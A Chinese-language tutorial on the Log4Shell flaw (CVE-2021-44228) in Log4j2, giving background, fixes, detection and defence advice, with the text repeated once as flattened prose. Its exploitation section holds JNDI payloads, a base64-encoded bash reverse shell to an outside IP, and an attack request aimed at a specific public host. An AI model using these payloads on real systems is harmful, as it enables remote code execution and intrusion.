Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
字数 1554 2025-08-29 08:30:25

Log4j2 JNDI 注入漏洞(CVE-2021-44228) 深入解析与利用指南

1. 漏洞概述

CVE-2021-44228 是 Apache Log4j2 中一个严重的远程代码执行漏洞,影响版本为 2.0 到 2.14.1。该漏洞源于 Log4j2 支持的 JNDI Lookup 功能,攻击者可通过构造恶意日志触发 JNDI 远程资源加载,导致任意代码执行。

2. 核心概念解析

2.1 Lookup 功能

定义:Lookup 是 Log4j2 提供的动态变量解析接口,允许在日志模板中嵌入环境变量、系统参数等动态内容。

语法

  • 格式:${prefix:key}
  • 常见用法:
    • ${java:os}:获取操作系统信息
    • ${env:VAR}:获取环境变量
    • ${sys:VAR}:获取系统属性
    • ${jndi:...}:通过 JNDI 查找资源

2.2 JNDI (Java Naming and Directory Interface)

JNDI 是 Java 提供的一种 API,用于访问和操作命名和目录服务。它允许 Java 应用程序通过统一的接口访问不同的命名和目录服务,如:

  • LDAP
  • DNS
  • RMI

3. 漏洞利用原理

攻击者可以通过控制日志内容,传入类似 ${jndi:ldap://evil.com/example} 的 lookup 表达式进行 JNDI 注入,导致远程代码执行。

4. 漏洞验证方法

4.1 使用 DNSLog 验证

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: xxxxxx:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

可替换的变量:

  • ${hostName}
  • ${sys:user.dir}
  • ${sys:java.version}
  • ${java:os}

4.2 使用 JNDI-Injection-Exploit 工具

  1. 下载工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
  2. 执行命令:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
  3. 构造反弹 shell(使用 base64 编码):
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 189.1.226.116
    
  4. 选择合适的 target 构造攻击请求:
    GET /solr/admin/cores?action=${jndi:ldap://189.1.226.116:1389/b48lwl} HTTP/1.1
    Host: 101.133.238.18:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    DNT: 1
    Sec-GPC: 1
    Connection: keep-alive
    Cookie: JSESSIONID=3B6F4088813DE4986AC7564771D6388E
    Upgrade-Insecure-Requests: 1
    

注意:利用过程可能有延迟,需要等待一段时间才能收到反弹 shell。

5. 漏洞修复方案

  1. 升级 Log4j2

    • 升级到 2.15.0 或更高版本
    • 2.15.0 版本默认禁用了 JNDI 功能
  2. 临时缓解措施

    • 设置系统属性 log4j2.formatMsgNoLookups=true
    • 修改 JVM 参数:-Dlog4j2.formatMsgNoLookups=true
    • 移除 org.apache.logging.log4j.core.lookup.JndiLookup
  3. 环境变量设置

    export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    

6. 漏洞影响范围

  • 受影响版本:Apache Log4j2 2.0-beta9 至 2.14.1
  • 受影响组件:任何使用受影响版本 Log4j2 的 Java 应用程序
  • 攻击场景:攻击者只需能够控制日志内容(如通过 HTTP 请求头、表单参数等)

7. 防御建议

  1. 输入验证:对所有用户输入进行严格验证和过滤
  2. 日志监控:监控日志中可疑的 JNDI lookup 模式
  3. 最小权限原则:限制应用程序运行权限
  4. 网络隔离:限制出站网络连接,特别是 LDAP、RMI 等协议
  5. WAF 规则:部署 Web 应用防火墙规则拦截包含 ${jndi: 的请求

8. 漏洞检测工具

  1. Log4j2 漏洞扫描器

    • log4j-scan
    • log4j-detector
    • log4j2-rce-poc
  2. 手动检测方法

    grep -r "log4j" /path/to/application | grep -i "core"
    

9. 总结

CVE-2021-44228 是一个影响广泛的严重漏洞,利用门槛低但危害大。理解其原理和利用方式对于安全防护至关重要。建议所有使用 Log4j2 的组织立即采取修复措施,并持续监控相关组件的安全更新。

Log4j2 JNDI 注入漏洞(CVE-2021-44228) 深入解析与利用指南 1. 漏洞概述 CVE-2021-44228 是 Apache Log4j2 中一个严重的远程代码执行漏洞,影响版本为 2.0 到 2.14.1。该漏洞源于 Log4j2 支持的 JNDI Lookup 功能,攻击者可通过构造恶意日志触发 JNDI 远程资源加载,导致任意代码执行。 2. 核心概念解析 2.1 Lookup 功能 定义 :Lookup 是 Log4j2 提供的动态变量解析接口,允许在日志模板中嵌入环境变量、系统参数等动态内容。 语法 : 格式: ${prefix:key} 常见用法: ${java:os} :获取操作系统信息 ${env:VAR} :获取环境变量 ${sys:VAR} :获取系统属性 ${jndi:...} :通过 JNDI 查找资源 2.2 JNDI (Java Naming and Directory Interface) JNDI 是 Java 提供的一种 API,用于访问和操作命名和目录服务。它允许 Java 应用程序通过统一的接口访问不同的命名和目录服务,如: LDAP DNS RMI 3. 漏洞利用原理 攻击者可以通过控制日志内容,传入类似 ${jndi:ldap://evil.com/example} 的 lookup 表达式进行 JNDI 注入,导致远程代码执行。 4. 漏洞验证方法 4.1 使用 DNSLog 验证 可替换的变量: ${hostName} ${sys:user.dir} ${sys:java.version} ${java:os} 4.2 使用 JNDI-Injection-Exploit 工具 下载工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 执行命令: 构造反弹 shell(使用 base64 编码): 选择合适的 target 构造攻击请求: 注意 :利用过程可能有延迟,需要等待一段时间才能收到反弹 shell。 5. 漏洞修复方案 升级 Log4j2 : 升级到 2.15.0 或更高版本 2.15.0 版本默认禁用了 JNDI 功能 临时缓解措施 : 设置系统属性 log4j2.formatMsgNoLookups=true 修改 JVM 参数: -Dlog4j2.formatMsgNoLookups=true 移除 org.apache.logging.log4j.core.lookup.JndiLookup 类 环境变量设置 : 6. 漏洞影响范围 受影响版本 :Apache Log4j2 2.0-beta9 至 2.14.1 受影响组件 :任何使用受影响版本 Log4j2 的 Java 应用程序 攻击场景 :攻击者只需能够控制日志内容(如通过 HTTP 请求头、表单参数等) 7. 防御建议 输入验证 :对所有用户输入进行严格验证和过滤 日志监控 :监控日志中可疑的 JNDI lookup 模式 最小权限原则 :限制应用程序运行权限 网络隔离 :限制出站网络连接,特别是 LDAP、RMI 等协议 WAF 规则 :部署 Web 应用防火墙规则拦截包含 ${jndi: 的请求 8. 漏洞检测工具 Log4j2 漏洞扫描器 : log4j-scan log4j-detector log4j2-rce-poc 手动检测方法 : 9. 总结 CVE-2021-44228 是一个影响广泛的严重漏洞,利用门槛低但危害大。理解其原理和利用方式对于安全防护至关重要。建议所有使用 Log4j2 的组织立即采取修复措施,并持续监控相关组件的安全更新。